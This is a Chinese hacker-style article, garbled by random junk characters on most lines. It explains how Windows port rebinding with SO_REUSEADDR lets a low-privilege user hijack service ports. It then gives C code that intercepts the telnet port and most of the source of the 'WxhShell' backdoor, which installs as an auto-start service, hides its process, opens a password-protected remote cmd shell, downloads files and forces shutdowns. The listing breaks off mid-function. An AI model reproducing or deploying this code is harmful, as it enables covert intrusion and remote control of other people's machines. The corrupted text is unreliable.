在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
HoQb.Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
NpVL;6?7T * F!B4go saddr.sin_family = AF_INET;
fJ}e h"[B zX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w{tA{ { alJ0gc2?
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~n
'A1 +`>7cy%cZ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DAw1S$dM <#0i*PM_ 这意味着什么?意味着可以进行如下的攻击:
8^_:9&) i J4qk^1m. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
w:zo
\ YnpN
-Y%g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o)I)I/v i#:To
|\u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c]pz& S9dxrm? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Tg)F.): j~'.XD={ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zfs-M) ;0eVE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5AT^puL]] QFnuu-82" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i[z 2'tx4 t|@5,J #include
?e9tnk3 #include
s_ZPo6p #include
.vHHw@ #include
%;&lVIU0 DWORD WINAPI ClientThread(LPVOID lpParam);
Y%i<~"k int main()
4QQt 0u0 {
4j3q69TZR WORD wVersionRequested;
1ZFKLI`V DWORD ret;
X1w11Z7o WSADATA wsaData;
@Z/jaAjUC BOOL val;
.]>Tj^1 SOCKADDR_IN saddr;
(H:c80/V SOCKADDR_IN scaddr;
C2<TR PT int err;
)B]"""J SOCKET s;
.$~3RjM SOCKET sc;
ltOS()[X int caddsize;
@.sn HANDLE mt;
iZTU]+z! DWORD tid;
La6
9or wVersionRequested = MAKEWORD( 2, 2 );
!WXV1S err = WSAStartup( wVersionRequested, &wsaData );
aH;AGbp if ( err != 0 ) {
.7.1JT#@A7 printf("error!WSAStartup failed!\n");
A^}# return -1;
|}{gE=] }
[xGwqa03 saddr.sin_family = AF_INET;
nHRsr x (pH)QG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8K2 @[TE=5 W9l](Ow saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p+g=Z<?` saddr.sin_port = htons(23);
bR3Crz(9G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(?A
c`H {
Wm1dFf.> printf("error!socket failed!\n");
IS"[< return -1;
l!gX-U%- }
z1b@JCWE val = TRUE;
-f ? //SO_REUSEADDR选项就是可以实现端口重绑定的
xjBY6Ylz if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
I3
6@x`f {
HG /fp<[ printf("error!setsockopt failed!\n");
pcv\|)&} return -1;
|./:A5_h }
<f
(z\pi1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Lp%J:ogV` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=zH)R0!eG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"~ =O`5V ~;6^n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O-.G(" {
qJ5b;= ret=GetLastError();
# [i3cn
printf("error!bind failed!\n");
U;kNo3= return -1;
2v(Y'f. }
1Ov oW Nx listen(s,2);
F,as>X# while(1)
S*n5d >; {
){mqo%{SO caddsize = sizeof(scaddr);
{li
Q&AZ //接受连接请求
N MkOx$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i<$?rB!i<1 if(sc!=INVALID_SOCKET)
/\qzTo {
Zk~Pq%u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^d#
AU7V| if(mt==NULL)
y%9Hu {
-+i7T^@| printf("Thread Creat Failed!\n");
mb`h break;
16N| }
cxQ %tL+S& }
hVyeHbx CloseHandle(mt);
[T9]q8" }
w_"-rGV closesocket(s);
V:t{mu5j WSACleanup();
[xb'73 return 0;
zrA3bWs }
1fV)tvU$ DWORD WINAPI ClientThread(LPVOID lpParam)
Wm}T=L` {
3xRn SOCKET ss = (SOCKET)lpParam;
|F\fdB}?S: SOCKET sc;
?ecR9X k unsigned char buf[4096];
ve"tbNL SOCKADDR_IN saddr;
CX2qtI8N? long num;
toU<InN DWORD val;
)x?)v#k DWORD ret;
KbciRRf!k //如果是隐藏端口应用的话,可以在此处加一些判断
Myn51pczl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;P}007; saddr.sin_family = AF_INET;
}Q9+krrow saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zgGJ<=G. saddr.sin_port = htons(23);
I\-M`^@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GBBp1i
{
oV9{{ printf("error!socket failed!\n");
,y-!h@( return -1;
UHk)!P> }
xFIzq val = 100;
Ps(oxj7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uT=5zu {
e NH9`Aa ret = GetLastError();
ang~_Ec. return -1;
]R!YRu }
X$~T*l0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vxi_Y\r=T {
owyQFk ret = GetLastError();
8$ RiFD, return -1;
eHIcfp@& }
Nw"?~"bo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6#qt%t%?D {
x|c_( printf("error!socket connect failed!\n");
={]POL\ A closesocket(sc);
9s7TLT k closesocket(ss);
7+KI9u}- return -1;
]Nssn\X7 }
VV54$a while(1)
0DnOO0Nc {
:AQ9-&i/a- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ek_<2!%X //如果是嗅探内容的话,可以再此处进行内容分析和记录
X(.[rC> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UUvCi+W num = recv(ss,buf,4096,0);
Zz QLbCV if(num>0)
/2*BdE[yG send(sc,buf,num,0);
z6,E}Y else if(num==0)
mQSn*;9\T3 break;
pp{p4Z num = recv(sc,buf,4096,0);
`PI*\t0 if(num>0)
CY*GCkH send(ss,buf,num,0);
Ejf5M\o else if(num==0)
4#:Eq=(W break;
!) `*e>]x }
8^_e>q*W closesocket(ss);
q
\fyp\z closesocket(sc);
xoGrXt9& return 0 ;
y!rJ}e }
p*T[(\8{n L(k`1E h qhX ==========================================================
9%"\s2T '{.8tT?tJ 下边附上一个代码,,WXhSHELL
H;q[$EUNb ;R<V-gab ==========================================================
gq4X(rsyD M)Z!W3 #include "stdafx.h"
S,avvY.U\ .N#KW #include <stdio.h>
L8Z@Dk7Y #include <string.h>
Oz&*A/si+3 #include <windows.h>
mI:^lp #include <winsock2.h>
D/4]r@M2c #include <winsvc.h>
`r3 klL,W' #include <urlmon.h>
Pw7uxN` gE=9K @ #pragma comment (lib, "Ws2_32.lib")
/Lm~GmPt #pragma comment (lib, "urlmon.lib")
|#yT]0L%pA \b!E"I_^ #define MAX_USER 100 // 最大客户端连接数
83'+q((< #define BUF_SOCK 200 // sock buffer
/Qef[$!( #define KEY_BUFF 255 // 输入 buffer
B<qsa QG .;ofRx< #define REBOOT 0 // 重启
hDZyFRg #define SHUTDOWN 1 // 关机
I} +up,B]o \awkt!Wa #define DEF_PORT 5000 // 监听端口
OU#p^5K 59W~bWHCP #define REG_LEN 16 // 注册表键长度
41+WIa
L #define SVC_LEN 80 // NT服务名长度
~ QohP`_ {.KD#W
$5 // 从dll定义API
qP##C&+#q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*vIP\NL?H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
g"Ueo'd* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z\8s |! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XIZN9/; h7TkMt[l // wxhshell配置信息
2 @T~VRy struct WSCFG {
)8 aHj4x int ws_port; // 监听端口
S+-$Ih`[ char ws_passstr[REG_LEN]; // 口令
3^fwDt} int ws_autoins; // 安装标记, 1=yes 0=no
O`GF| char ws_regname[REG_LEN]; // 注册表键名
t)?K@{ 9 char ws_svcname[REG_LEN]; // 服务名
~jHuJ`]DF char ws_svcdisp[SVC_LEN]; // 服务显示名
IO=$+c char ws_svcdesc[SVC_LEN]; // 服务描述信息
l`A&LQ[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Qy[S~D_ int ws_downexe; // 下载执行标记, 1=yes 0=no
nHq4f&(H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
" Y^9g/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R4JfH f>4|>kS };
yqL" YD mD&I6F[s // default Wxhshell configuration
6~2upy~e struct WSCFG wscfg={DEF_PORT,
&k)v/ "xuhuanlingzhe",
EStui>ho 1,
(y&sUc9 "Wxhshell",
p[].4_B; "Wxhshell",
/BQqg08@L "WxhShell Service",
|K{d5\_ "Wrsky Windows CmdShell Service",
*x]*% "Please Input Your Password: ",
tK/,U
=+ 1,
j|&D(]W/ "
http://www.wrsky.com/wxhshell.exe",
EQd<!)HZ "Wxhshell.exe"
~OR^ };
-Q
JP J. !QbuOvw // 消息定义模块
Z2})n
- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>1Hv c7DP char *msg_ws_prompt="\n\r? for help\n\r#>";
G/(,,T}eG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hxM{}}.E char *msg_ws_ext="\n\rExit.";
_Z9d.- char *msg_ws_end="\n\rQuit.";
^dhx/e%s char *msg_ws_boot="\n\rReboot...";
s2|.LmC3|B char *msg_ws_poff="\n\rShutdown...";
p}pd&ut1 char *msg_ws_down="\n\rSave to ";
GK1nGdT] y?O-h1"3, char *msg_ws_err="\n\rErr!";
U!uJ )mm char *msg_ws_ok="\n\rOK!";
"!AtS "Ueq char ExeFile[MAX_PATH];
$%"hhju int nUser = 0;
cb0rkmO HANDLE handles[MAX_USER];
+75"Q:I int OsIsNt;
%cUC~, g_( 0#8, (6 SERVICE_STATUS serviceStatus;
a:UkVK]MP SERVICE_STATUS_HANDLE hServiceStatusHandle;
kBrA ? mTWd+mx // 函数声明
hE`d@ int Install(void);
*n&Sd~Mg int Uninstall(void);
c*E7nc)u int DownloadFile(char *sURL, SOCKET wsh);
ZX`x9/0& int Boot(int flag);
h4 9q(085V void HideProc(void);
Y,}h{*9Kd int GetOsVer(void);
R13k2jLSQ int Wxhshell(SOCKET wsl);
hHVAN3e void TalkWithClient(void *cs);
G!I5Er0pdy int CmdShell(SOCKET sock);
[f lK int StartFromService(void);
X@tA+ int StartWxhshell(LPSTR lpCmdLine);
Q%?%zuU LiQH!yHW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\ctzv``/n VOID WINAPI NTServiceHandler( DWORD fdwControl );
YlG#sBzl !> +Lre@ // 数据结构和表定义
3gVU#T[[ SERVICE_TABLE_ENTRY DispatchTable[] =
w42{)S" {
=A'JIssk {wscfg.ws_svcname, NTServiceMain},
j#P4& {NULL, NULL}
|ZifrkD= };
=LK`mNA wA/!A$v( // 自我安装
uaKbqX int Install(void)
Gsy>"T{CY {
W=293mME char svExeFile[MAX_PATH];
MoEh25U. HKEY key;
"a'I^B/ strcpy(svExeFile,ExeFile);
$yj*n; Je9Z:s[ // 如果是win9x系统,修改注册表设为自启动
rDoMz3[w if(!OsIsNt) {
@g;DA)!( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2h*aWBLk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dQ-g\]d| RegCloseKey(key);
\vc&V8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Zj ` ;IYFG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^z,B}Nz RegCloseKey(key);
:PY8)39@K return 0;
/`aPV"$M }
]|w~{X!b4 }
L1Yj9i }
'w72i/ else {
=X[?d/[ !XI9evJw // 如果是NT以上系统,安装为系统服务
s!D2s2b9e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
fQ!W)>mi if (schSCManager!=0)
u0oTqD? {
T>#~.4A0 SC_HANDLE schService = CreateService
BOM0QskLf (
,d_rK\J schSCManager,
N!dBF t" wscfg.ws_svcname,
iS.gN&\z^ wscfg.ws_svcdisp,
4K`b?{){+a SERVICE_ALL_ACCESS,
3y2L!&'z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[`tNa Vg SERVICE_AUTO_START,
CA&VnO{r SERVICE_ERROR_NORMAL,
$/#[,1 svExeFile,
>>C
S8 NULL,
zlQBBm;fE NULL,
"o u{bKe NULL,
i-4L{T\K NULL,
y,n.(?!* NULL
xpuTh"ED );
eA?|X| if (schService!=0)
T7/DH {
eA
Fp<2g CloseServiceHandle(schService);
?^7X2 u$nm CloseServiceHandle(schSCManager);
$w-@Oa*h9U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7MJ\*+T|03 strcat(svExeFile,wscfg.ws_svcname);
j)iUg03>/4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a"g\f{v0AR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
zn^ G V RegCloseKey(key);
Rh
]XJM return 0;
Qu8=zI>t }
ZDI?"dt{ }
O6b+eS CloseServiceHandle(schSCManager);
?LU>2!jN }
3?_%|;ga }
'BgR01w J z/QYy)_j return 1;
(0_zp`) }
IIBS:&;+- bi@'m?XwJ // 自我卸载
-T+'3</T int Uninstall(void)
a7u*d`3X= {
z}$.A9yn HKEY key;
[GI2%uA0 sVmqx^- if(!OsIsNt) {
{dE(.Z?]!# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PGYx]r RegDeleteValue(key,wscfg.ws_regname);
+tg${3ti_ RegCloseKey(key);
Rm$( X5x>o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>nvK{6xR: RegDeleteValue(key,wscfg.ws_regname);
r6aIW8 RegCloseKey(key);
jMS>B)'TO return 0;
x6Gl|e[jv }
i$6a0'@U }
w6Mv%ZO_ }
TMsCl6dB else {
tBl(E ^x^(Rk}| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
l)jP!k if (schSCManager!=0)
f$dIPt( {
fWs*u[S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Q4]Od{[ if (schService!=0)
N$:-q'hX {
JlRNJ#h> if(DeleteService(schService)!=0) {
WI&}94w CloseServiceHandle(schService);
Y;g\ @j CloseServiceHandle(schSCManager);
=kK%,Mr return 0;
'`W6U]7> }
U^)`_\/;? CloseServiceHandle(schService);
/?TR_> }
;AL:VU CloseServiceHandle(schSCManager);
@g" vuaG} }
{/aHZ<I&^h }
Vr%ef:uVV wPcEvGBN= return 1;
7xG~4N<)] }
%CgV:.,K MTNC{:Q // 从指定url下载文件
,\RR@~u' int DownloadFile(char *sURL, SOCKET wsh)
jPx}-_jM {
{L.uLr_?e HRESULT hr;
n3-VqYUP char seps[]= "/";
1O,8=,K2a char *token;
S>j.i char *file;
R)isWw4 char myURL[MAX_PATH];
6P,uy;PJ char myFILE[MAX_PATH];
N:+d=G`x `YMd0* strcpy(myURL,sURL);
SdnO#J}{ token=strtok(myURL,seps);
BD^1V(
I/ while(token!=NULL)
2vsV:LS. {
"o_'q@.} file=token;
6'<[QoW]; token=strtok(NULL,seps);
G!%8DX5 }
J^<uo( 88?O4)c GetCurrentDirectory(MAX_PATH,myFILE);
Jm< uE]9 strcat(myFILE, "\\");
jPZpJ: strcat(myFILE, file);
b8vZ^8tBV send(wsh,myFILE,strlen(myFILE),0);
7~k=t!gTY send(wsh,"...",3,0);
t&EY$'c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Nqz6_! if(hr==S_OK)
fYh<S return 0;
N&Ho$,2s else
)t\aB_ = return 1;
K"X"2c1o M,bs`amz }
vEGI 9zIqSjos" // 系统电源模块
)1HWD]>4 int Boot(int flag)
WNQ<XBqAw {
?`O^;f HANDLE hToken;
S QGYH TOKEN_PRIVILEGES tkp;
Un
T\6u r=54@`O! if(OsIsNt) {
SR?(z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%&V%=-O_7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
S)4p'cUwq tkp.PrivilegeCount = 1;
HTvUt*U1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_)~VKA]"" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?~yJ7~3TS< if(flag==REBOOT) {
l~DIV$>,Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_jgtZ return 0;
o[+t}hC[ }
wArfnB& else {
6f
?,v5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ReA-.j_2@ return 0;
Vi}E9I4 }
4fjwC,, }
X:g#&e_ else {
'V&Uh]> if(flag==REBOOT) {
$b53~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r`h".=oD return 0;
~<s^HP2U{ }
urCTP.F else {
~{vB2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B<,7!:.II return 0;
kOq8zYU| }
>s0![c oz }
v=cQ`nou Qh-:P`CN return 1;
WY!4^<|w" }
f#w
u~*c 1KBGML-K3 // win9x进程隐藏模块
S9r+Nsn void HideProc(void)
v_WQ<G? {
U/|JAg# D>HbJCG4^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$&KkZ if ( hKernel != NULL )
|d*a~T0 {
lmD[Cn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n9`]}bnX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G43r85LO FreeLibrary(hKernel);
{P_7AM }
Fkq^2o
] _nxH;Za return;
uN>5Eh&=Pf }
H6|eUU[& =adHP|S // 获取操作系统版本
>!a- " int GetOsVer(void)
RtpV08s\ {
W g6H~x OSVERSIONINFO winfo;
iemp%~UZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$gD8[NAIx= GetVersionEx(&winfo);
z0SF2L H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|g!d[ct] return 1;
N2duhI6 else
V %D1Q}X return 0;
nb<o o:^ }
jC{KI!kPt K5BL4N // 客户端句柄模块
#d-zH:uq int Wxhshell(SOCKET wsl)
eNVuw: Q+ {
u'>94Gm} SOCKET wsh;
A>2 _I) struct sockaddr_in client;
NMf#0Nz- DWORD myID;
P R3Arfle 1# z@D( while(nUser<MAX_USER)
@|Yn~PwKs {
$j<KXR int nSize=sizeof(client);
voN~f> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
LyWY\K a if(wsh==INVALID_SOCKET) return 1;
*pv<ZF0> #9!7-!4pW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
: MjDcI~ if(handles[nUser]==0)
ov;^ev,( closesocket(wsh);
+jF2{" else
c"Vp5lo0 nUser++;
Ro"'f7(v. }
PoPR34]^J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jlU6keZh` HG?+b return 0;
Fs%`W4/ }
.SER,],P C c:<F_UI // 关闭 socket
Sp:w _;{# void CloseIt(SOCKET wsh)
Rb&9!z {
<r t$~} closesocket(wsh);
+qC[X~\ nUser--;
]S[?tn ExitThread(0);
0F/[GZ<k }
3]mprX' iRlZWgj4^ // 客户端请求句柄
~"SQwE| void TalkWithClient(void *cs)
09jE7g @X} {
LR>s2zu- U$& '> %# SOCKET wsh=(SOCKET)cs;
vIOGDI> char pwd[SVC_LEN];
K.Y`/< char cmd[KEY_BUFF];
,1N|lyV char chr[1];
/o 'lGvw int i,j;
|vl~B|", }_XiRm< while (nUser < MAX_USER) {
w]{c*4o x;z=[eE if(wscfg.ws_passstr) {
*K;)~@n
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?{^_z_, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-mG`* 0 //ZeroMemory(pwd,KEY_BUFF);
p$'S\W| i=0;
vJ^~J2#5 while(i<SVC_LEN) {
'g,h ^4^N} 7>5 // 设置超时
lMvOYv fd_set FdRead;
:,Y1#_\ struct timeval TimeOut;
~i>DF`w$ FD_ZERO(&FdRead);
%\T,=9tD\ FD_SET(wsh,&FdRead);
K3[+L`pz TimeOut.tv_sec=8;
o9"?z TimeOut.tv_usec=0;
U{M3QOF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@=dv[P"jn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
aXJ/"k #Tl 6Jb0MX"AVr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A?!RF7v pwd
=chr[0]; 6{1=3.CL
if(chr[0]==0xd || chr[0]==0xa) { ,S=[#
pwd=0; rD SYR\cg
break; 9|Jv>Ur=)2
} \+O.vRc"M
i++; Z6i~Dy3
} PD.$a-t
|zpy!X 3
// 如果是非法用户,关闭 socket ~at@3j}W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fP|[4 ku
} In96H`
^?+[yvq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Fw"y %a^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s~A-qG>
'%[ Y
while(1) { goIvm:?
~. vridH
ZeroMemory(cmd,KEY_BUFF); S1U0sP@o
(!5Ta7X
// 自动支持客户端 telnet标准 o&E8<e
j=0; eb\S pdM6
while(j<KEY_BUFF) { S7f.^8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e>Z&0lV:
cmd[j]=chr[0]; b3E1S+\=~
if(chr[0]==0xa || chr[0]==0xd) { .c+U=bV-
cmd[j]=0; w>^(w<~Y
break; B\c_GX Uw
} \~E?;q!
j++; WT<}3(S'?
} HdqB B
Bc"MOSV0
// 下载文件 Yjc U2S"=P
if(strstr(cmd,"http://")) { 7b>_vtrt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); WK`o3ayH-
if(DownloadFile(cmd,wsh)) M8X6!"B$Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {f#QZS!E
else rAu%bF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -!1=S: S
} uNyN[U
else { 5cIZ_#
EyA
ny\"
switch(cmd[0]) { <}{<FXk[
)-)rL@s.
// 帮助 MOaI~xZ
case '?': { ))|d~m
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T:@6(_Z
break; yogavCD9b/
} W-s 6+DY
// 安装 N<rq}^qo
case 'i': { lfHN_fE>Mq
if(Install()) 7s?#y=M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7! >0
else z!3=.D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qy" Jt ]O
break; &S{r;N5u
} agx8 *x
// 卸载 3)EJws!
case 'r': { s`bGW1#io
if(Uninstall()) 6~%><C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;CIS$$r
else TUnAsE/J&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'cpm 4mT
break; &>Ve4!i
q
} Hh^ "c}
// 显示 wxhshell 所在路径 =\%ER/
case 'p': { dXh[Ea^
char svExeFile[MAX_PATH]; vYV!8o.I
strcpy(svExeFile,"\n\r"); BrE#.g Jq
strcat(svExeFile,ExeFile); paIjXaU1Mb
send(wsh,svExeFile,strlen(svExeFile),0); o(SPT?ao~
break; GB|>eZLv<
} tVAo o-%
// 重启 &<e18L7a
case 'b': { 2@ZVEN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nz2V aZ
if(Boot(REBOOT)) 47Z3nl?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2#Xa,pb
else { *ai~!TR
closesocket(wsh); $\NqD:fgb
ExitThread(0); e' l9
} ruGJZAhIA^
break; yk8b>.Y\A
} Ljm`KE\Q;t
// 关机 `#ruZM066
case 'd': { D ;> 7y}\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'z8FU~oU
if(Boot(SHUTDOWN)) ~x,_A>a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6AJk6W^Z
else { dBd7#V:}yV
closesocket(wsh); )ovAG O
ExitThread(0); .b]sQ'
} "KP]3EyPc
break; [y9a.*]u/@
} .gg0rTf=-
// 获取shell 6U ! P8q
case 's': { l%EvXdZuOy
CmdShell(wsh); DSwb8q
closesocket(wsh); X=whZ\EZ
ExitThread(0); AE77i,Xa
break; e|{R2z"^
} IADHe\.
// 退出 3Tu]-.
case 'x': { XZKlE
F?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {nwoJ'-V
CloseIt(wsh); {jO+N+Ez9
break; F
`o9GLxM}
} 1GK.:s6.f
// 离开 /X_L>or
case 'q': { #Q!Xz2z2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m:h6J''<Z*
closesocket(wsh); N 5*Qnb8
WSACleanup(); 4tCM2it%
exit(1); Vr},+Rj
break; I*N"_uKU
} -NJpql{Cb
} t/;0/ql\
} 0fewMS*
FJZ'P;3
// 提示信息 |;US)B8}*Z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~".@mubt1$
} I.3~ctzu
} V,rc&97
-E?:W`!
return; %FYhq:j
} 5\pS8<RJ;
Xeq9Vs zg
// shell模块句柄 U}jGr=tu
int CmdShell(SOCKET sock) R0INpF';
{ h}@wPP{
STARTUPINFO si; YjDQ`f/
ZeroMemory(&si,sizeof(si)); gFp3=s0~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {ze69 h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a5#G48'X
PROCESS_INFORMATION ProcessInfo; hP+4{F*}-
char cmdline[]="cmd"; lq:q0>vyI
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jM$bWtq2
return 0; qt@/
} +4%~.,<_to
L-w3A:jk
// 自身启动模式 !s-A`}
s+
int StartFromService(void) tG$O[f@U6
{ [gBf1,bK
typedef struct 2%WeB/)9
{ |,,#DSe
DWORD ExitStatus; gttsxOgktH
DWORD PebBaseAddress; h,Hr0^?
DWORD AffinityMask; :o!Kz`J
DWORD BasePriority; f`Fj-<v
